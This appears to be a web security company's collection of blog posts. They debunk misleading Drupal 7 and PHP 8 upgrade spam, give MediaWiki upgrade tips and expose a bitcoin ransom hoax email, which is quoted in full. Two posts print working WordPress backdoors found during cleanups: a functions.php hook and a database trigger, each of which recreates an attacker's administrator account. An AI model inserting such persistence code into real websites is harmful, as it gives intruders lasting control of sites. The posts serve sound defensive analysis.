Drupal 7 is Still Supported

Earlier this month, we received an email claiming that version 7 of Drupal isn’t supported anymore. That claim came as part of trying to get people to hire the emailer to do an upgrade to Drupal 9. Here are the full contents of the email:

No Official Support For Drupal 7 or 8
Upgrade To Drupal 9 Today

It has been officially announced that Drupal 7 is no longer receiving official support from the Drupal community. This means that while the software may still function, securities updates and technical fixes are no longer provided by the core development unit.

The solution is to upgrade your website to Drupal 9, the latest version, because:

1) Drupal 9 offers enhanced performance and securities.

2) Drupal 9 offers a conversational UI and user-friendliness.

3) Drupal 9 has better programmatical improvements, resulting in better speed.

4) Drupal 9 offers ecommerce empowerment. If you have…

In reality, in June, it was announced that support for Drupal 7 would continue until January 5, 2025.

Beyond that falsehood, you can’t do an upgrade from Drupal 7 to a newer version, you have to do a migration.

Also, Drupal 9 was superseded as the latest version of Drupal in December of last year. Support for Drupal 9 ends in November.

Support for Drupal 8 ended in November of 2021 so you should have already upgraded to a newer version.

If you are still running Drupal 7, you should make sure you have upgraded to the latest version of that.

The Cause of a WordPress Website Having User Registration Suddenly Enabled and the Default Role Being Set to Administrator

Oftentimes, when it comes to how WordPress websites have been hacked, it is hard to say without doing a proper cleanup what was the original source of the hack. But in some cases it is easy to say what was likely the cause. Take this description of what happened with a recently hacked WordPress website:

Yesterday at 23:08 I received an email from my wordpress “Admin Email Changed”: “[…]The new admin email address is ad@example.com.[…]”

Right after that, a new user registered, cryptic username “wpnew_kmyjzvfyoflv” This username had admin role!

Today in the morning when I realized, I checked, in the settings was “Anyone can register” checked and standard userrole is Administrator.

What you have there is a hacker being able to change three WordPress settings. The admin email address for the website, whether anyone can register for an account, and the default user role for new accounts. How could they do that? Either they would need the ability to directly change the content of the database used for the website or they would need to be able to change arbitrary WordPress settings.

You can rule out the first as the likely cause, as a hacker could, among other things, create a new Administrator account without going through additional steps if they have direct access to the database.

That leaves the second option. The cause of that is almost certainly going to be what is usually referred to as an option update vulnerability. That is a type of vulnerability that hackers are guaranteed to try to exploit if they know about them.

In addition to cleaning up whatever the hacker does once they have changed the WordPress settings, you need to make sure the vulnerability has been fixed to address this. That might be as simple as updating a plugin, if it has had that type of vulnerability and it has been fixed. If you don’t know what the source is and you don’t have the capability to figure that out, then it is time to bring in someone who has the capability to both review the log files for the website and review the plugins being used on the website.

How Another Hacker Was Able to Re-Add a Malicious User to a Hacked WordPress Site

In October, we wrote about how a hacker was able to re-add a malicious user to a hacked WordPress site using a database trigger. That isn’t the only way they can do that, as we found while working on cleaning up a hacked WordPress website recently. In this situation, as soon as a malicious Administrator account was deleted, a new account with the same account information would be created. The cause was code added to the end of the functions.php file for the theme currently in use on the website.

That code was as follows:

add_action( 'init', function () {
 
$username = 'kshivvamaster';
$password = 'Admin@2020';
$email_address = 'kshivva@gmail.com';
 
if ( ! username_exists( $username ) ) {
$user_id = wp_create_user( $username, $password, $email_address );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
 
} );

The first line causes the rest of the code to run whenever WordPress loads. The rest of the code checks if the username “kshivvamaster” exists. If it doesn’t exist, it creates a new account with that username along with the specified password and email address in the code. That account is given the Administrator role.

You Might Need to Upgrade MediaWiki in Steps Even if the Manual Says Otherwise

It used to be that you could upgrade an older version of the MediaWiki software directly to the latest version. According to the manual for that, that officially changed as of version 1.36:

Since Version 1.36, MediaWiki only commits to supporting upgrades from two LTS releases ago (see phab:T259771). Upgrades from older versions of MediaWiki will have to be performed in multiple steps. This means that if you want to upgrade to 1.36 from 1.23 or earlier, you’ll first have to upgrade your 1.23 wiki to 1.27 (or 1.35), and, from 1.27 (or 1.35), you’ll be able to upgrade to 1.36.

We were brought in to do a MediaWiki upgrade for a website running version 1.31 recently. According to that information, that should have been upgradeable directly to the latest version, 1.39, as 1.31 and 1.35 are the two long-term support (LTS) versions before 1.39. Instead, when doing a direct upgrade, we found the website was broken. We also found that doing an intermediate upgrade to 1.35 before going to 1.39 produced the same result. What we found from further testing is that it needed to be upgraded to 1.33 before being upgraded to 1.39 to avoid the website being broken after the upgrade.

One way to avoid problems here would be to do an upgrade to each major version instead of skipping any. That approach isn’t necessarily very practical depending on the amount of time it takes to do each upgrade, which can be considerable depending on the particulars of the website and the server it is on.

Another way to avoid problems is to make sure to do a test of the upgrade first. That way you don’t find that the website is broken after the upgrade and you are trying to rush to fix the problem. As we were doing a test first, we could patiently look into the problem and found the easiest way to resolve it was to do that intermediate upgrade.

Upgrading Semantic MediaWiki When You Don’t Have Access to the Command Line (Shell)

The tools and access that those developing web software have available is not always the same as those available to those running the software on their website. Case in point, we were recently working on an upgrade of a MediaWiki website using the Semantic MediaWiki extension where there wasn’t access to the command line (shell) with the hosting account for the website. The upgrade process for Semantic MediaWiki involves you having that access. We were able to work around that and we have some important information for anyone trying to do that as well.

What we thought we could do is to prepare the files for the upgrade on a local copy of the website, copy those to the server, and then do the database upgrade on the server. That didn’t work out.

Upgrading the files needs to be done elsewhere than the website since it relies on Composer. We thought that we could run the database update for Semantic MediaWiki on the server though, since MediaWiki has a web updater for those not able to run its updates through the command line. While that worked for updating MediaWiki on this server, we found that the Semantic MediaWiki upgrade didn’t get applied when doing that.

After doing the database update elsewhere and copying that to the server, we ran into another problem. We got this error message:

Semantic MediaWiki was installed and enabled but is missing an appropriate upgrade key.

With the code “ERROR_SCHEMA_INVALID_KEY“.

The linked documentation wasn’t all that helpful on what was at issue there. What we found was that a change needed to be made to the file /extensions/SemanticMediaWiki/.smw.json. Specifically, the database name in that file needed to be corrected to match the name of the database on the server. The contents of the file look like this:

{
“databasename”: {
“upgrade_key”: “b1d9d6bec582041a8aca10a4d380cfc75aa86e7f”,
“maintenance_mode”: false
}
}

In a real file, instead of databasename would be the name of the database. Correcting that resolved the error.

How a Hacker Was Able to Re-Add a Malicious User to a Hacked WordPress Site

It is pretty common for it to appear that hacked WordPress websites have gotten re-hacked. What we find from being brought in to re-clean them is that often websites haven’t been re-hacked, instead the original cleanup was incomplete, leaving parts of the hack in place. Often that is because whomever did the original clean up cut corners during the cleanup, but it is also possible the hacker has hidden something in ways that it would be reasonable to have missed, based on what hackers commonly do.

A recent post on WordPress’ forum mentioned an example of the latter, which is worth highlighting. According to the poster, a database trigger was added to the database for the website, which would create a new WordPress user account for the hacker. A database trigger involves code that runs automatically in certain circumstances. The code was:

BEGIN
     IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
         SET @lastInsertWpUsersId = (SELECT MAX(id) FROM database.wp_users);
         SET @nextWpUsersID = @lastInsertWpUsersId + 1;
         INSERT INTO database.wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwwoGJxViPhtGdNG5UZs0', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
     END IF;
 END

The second line of that causes the rest of the code to run if a new blog comment is created that contains the phrase “are you struggling to get comments on your blog?” in it.

The rest of the code creates a new WordPress user account with the username “wpadmin” that has the Administrator role. As is pretty common, the email associated with the account is made to look like it might be something official or security related. In this case it is “wp-security@hotmail.com”.

What is slightly more sophisticated than we usually see with malicious WordPress user accounts created through the database is that the account has a creation date, and one well in the past, “2014-06-08 00:00:00”.

It is important to note for anyone coming across this while trying to figure out how a malicious WordPress user account has been added or re-added, that there are other ways hackers can do this. For example, if a hacker has direct access to the database, then they can create an account. So if, say, the database password wasn’t changed when the website was being cleaned up, the hacker might be able to gain access to the database that way. It is also possible for them to indirectly access the database, say, with malicious code in one of the website’s files.

Often times you can start figuring out how the hacker has re-gained access to the website by reviewing the log files for the website. Even in this case, there would be activity from the hacker logged, from when they posted the comment. Though, it wouldn’t be obvious that it would be malicious activity, as it would be when a request is being sent to a file on the website that shouldn’t be there or that shouldn’t be receiving direct requests.

SiteLock is Still Leaving Websites in a Broken State After Incomplete Malware Removals

It usually isn’t too difficult to properly clean up malware infected websites, but that doesn’t mean that security companies won’t cut corners. Here was someone recently looking for help after SiteLock had left their website broken after doing malware removal:

My website was recently hacked. I worked with the domain host and SiteLock to remove the malware. The site is now back, but not functioning properly. The formatting is generic and the menu is gone. Any help would be greatly appreciated.

That isn’t a new problem, that has been going on for years. Despite that, web hosts continue to partner with them because they pay the web hosts a significant amount of their fees. That probably helps to explain the result, since lots of the money being paid for the service isn’t being spent on the work.

If you hire us to remove malware from your website, we will make sure that everything is working again before we even charge you for the work.

Spammers Still Pretending to Have Hacked Websites to Collect Bitcoins From Unwitting Website Owners

Yesterday we got a spam contact form submission claiming our website had been hacked and demanding a ransom. It is part of what looks to be a new large wave of an ongoing spam campaign, which has been going on for at least several years. It is a hoax and websites receiving the message have not been hacked. This was the message we received:

PLEASE FORWARD THIS EMAIL TO SOMEONE IN YOUR COMPANY WHO IS ALLOWED TO MAKE IMPORTANT DECISIONS!

We have hacked your website https://www.whitefirdesign.com and extracted your databases.

How did this happen?

Our team has found a vulnerability within your site that we were able to exploit. After finding the vulnerability we were able to get your database credentials and extract your entire database and move the information to an offshore server.

What does this mean?

We will systematically go through a series of steps of totally damaging your reputation. First your database will be leaked or sold to the highest bidder which they will use with whatever their intentions are. Next if there are e-mails found they will be e-mailed that their information has been sold or leaked and your https://www.whitefirdesign.com was at fault thusly damaging your reputation and having angry customers/associates with whatever angry customers/associates do. Lastly any links that you have indexed in the search engines will be de-indexed based off of blackhat techniques that we used in the past to de-index our targets.

How do I stop this?

We are willing to refrain from destroying your site’s reputation for a small fee. The current fee is $2500 in bitcoins (BTC).

Please send the bitcoin to the following Bitcoin address (Copy and paste as it is case sensitive):

3LKf6NWhJA8L5cmD5p9u6WksjW9SC2jauu

Once you have paid we will automatically get informed that it was your payment. Please note that you have to make payment within 7 days after receiving this e-mail or the database leak, e-mails dispatched, and de-index of your site WILL start!

How do I get Bitcoins?

You can easily buy bitcoins via several websites or even offline from a Bitcoin-ATM.

What if I don’t pay?

If you decide not to pay, we will start the attack at the indicated date and uphold it until you do, there’s no counter measure to this, you will only end up wasting more money trying to find a solution. We will completely destroy your reputation amongst google and your customers.

This is not a hoax, do not reply to this email, don’t try to reason or negotiate, we will not read any replies. Once you have paid we will stop what we were doing and you will never hear from us again!

Please note that Bitcoin is anonymous and no one will find out that you have complied.

In our case, it is rather obvious to be a false claim, since, among other things, the database for our website doesn’t contain any sensitive information that would be of any value to anyone or be a concern if it was released. Looking at the log for our website, the spammer only visited the contact page, which makes it more obvious that this is a hoax.

For others who don’t deal in security as we do, it is easy enough for someone to believe this could be true, but it is a hoax. Unfortunately, it looks like someone did fall for it.

Features of Your Website Will Not Stop Working if You Don’t Switch to PHP 8 By November 28

We recently got the following frightening sounding spam email, with the subject “PHP Version Upgrade”, claiming that features of websites will stop working on November 28 if PHP isn’t upgraded to version 8:

I hope everything is going perfect at your end. I am writing this email on the behalf of my IT company having specialization in different technologies and platforms. This email is in the context of outdated PHP version of our website. Your website is running on PHP version below 8.0 which is going to be totally outdated on 28th November 2022. You need to get the website updated immediately else some features will stop working after that.

We can assist you with this easily. Please let me know if you want to upgrade the website to PHP version 8.0 or higher and we will be sharing our quotation for the same accordingly.

That isn’t true.

What this relates to that is real is that the last version of PHP below 8, 7.4, will lose official security support from the developers on that day. Earlier versions, though, will continue to work after that, as has always been the case. So nothing will stop working on websites still using an earlier version of PHP.

Running a version of PHP that doesn’t have security support from the developers doesn’t mean that your website is at risk of being hacked, either. For that to be the case, there would need to be a serious vulnerability found and no unofficial update for it made available or that update isn’t applied to PHP on the server. There hasn’t been a vulnerability in PHP that has led to widespread hacking of websites in many years. It also isn’t uncommon for websites running a supported version of PHP to not be running the latest version of it.

What Changing to PHP 8 Involves

If you do want to change to PHP 8, it possibly involves two separate sets of actions. One of which can actually cause features of the website or the entire website to not work. The action that could cause that is changing the version of PHP in use to version 8. The reason for that is that not all older software is designed to be compatible with PHP 8.

How you change the PHP version in use to 8 depends on your hosting set up. In some cases, it is as simple as changing a setting in the hosting control panel associated with the website. In other cases, it could involve the website’s web host needing to move the website to a new server.

The other action that might need to be done is to change the software on the website to be compatible with PHP 8, so that features of the website or the whole website doesn’t stop working. That might be handled by updating software on the website. Or it might involve rewriting code if custom code is used or if third-party code used hasn’t already been updated for PHP 8.

Should You Be Making This Change?

While it is a good idea to keep your website up to date and running supported software for security purposes, it is important to understand that running outdated software doesn’t automatically put your website at risk. It is even possible that a new version of software introduces a vulnerability that didn’t exist before.

Your best option is to have a relationship with a company or individual that can give you honest advice on how you can best keep your software up to date within your budget and what might be the pitfalls of changing between major PHP versions, like a switch from PHP 7 to 8, with the software on your website, so those can be dealt with in a way that lessens possible problems.

We handle upgrades of a variety of popular web software and have many years of experience dealing with changes that need to be made to avoid incompatibilities with new versions of PHP.

Continuing to Run Drupal 7 Isn’t Making Your Website Insecure Contrary to Claims by Abbacus Technologies and Prodigitude

In June 2020, Drupal announced that the end of support for Drupal 7 was being delayed until November 28, 2022. In February of this year, it was delayed until November 1, 2023. It might get delayed further:

We will announce by July 2023 whether we will extend Drupal 7 community support an additional year. Factors that we will consider are community support, Drupal 7 usage, and active Drupal 7 maintainers. Current support is made possible thanks to the many Drupal 7 maintainers and companies that are paying to support Drupal 7.

Despite that, websites running Drupal 7 have recently been getting emails from spammers promoting hiring them to migrate Drupal 7 websites with misleading claims, including about the security of Drupal 7.

One of that we recently reviewed had a sender email address from the domain name drupalupdates.com, which redirects to the website of a company named TEN7. But clicking a link in the email instead took you to the website of Abbacus Technologies. The email starts out with this statement:

Upgrade your Drupal Site as Drupal will quit supporting lower versions

As we already mentioned, Drupal 7 continues to be supported for more than a year. Eventually all versions of Drupal will no longer be supported, so the argument that you should migrate from Drupal 7 because support will eventually end, would also be an argument for not using any version of Drupal (or any software for that matter)

The email goes on to say this:

Better security – Your store will be more secure as many security loop holes are being covered in this updates.

It is unclear what “security loop holes” refers to, as that isn’t security terminology, but Drupal 7 continues to receive security updates if there are vulnerabilities found. If they want to claim that Drupal 7 is insecure in comparison to Drupal 9, we would love to see what, if any, evidence they could present to back that up.

A second email that we recently reviewed came from a company named Prodigitude. They at least were partially honest about support not ending soon:

Drupal 7 will reach its end-of-life in November 2023 which will leave your website vulnerable to cyberattacks, amongst other dangers.

They though also claimed that migrating to the new version of Drupal would secure it:

With the migration, your website will have security measures in place to ensure your website isn’t in danger of malfunctioning or at risk of hacking.

There isn’t an ability to make a website impervious to hacking by migrating to the new version of Drupal. It could still get hacked even if Drupal is up to date, if say, an unfixed vulnerability is discovered by a hacker. There are other ways that a website can be hacked that can’t be prevented by the software running on the website. Among those, the underlying server could be breached.

Securing a Drupal 7 Website

If you do want to ensure that a Drupal 7 website is secure against threats in Drupal, you do need to promptly apply security updates. If you haven’t been doing that, we offer a subscription upgrade service, where it only costs $1 for the first month, as we are confident you will want to keep using the service.

While it isn’t necessary to migrate to Drupal 9 from 7 at this time, if you do want to do that, we offer a service for handling the migration.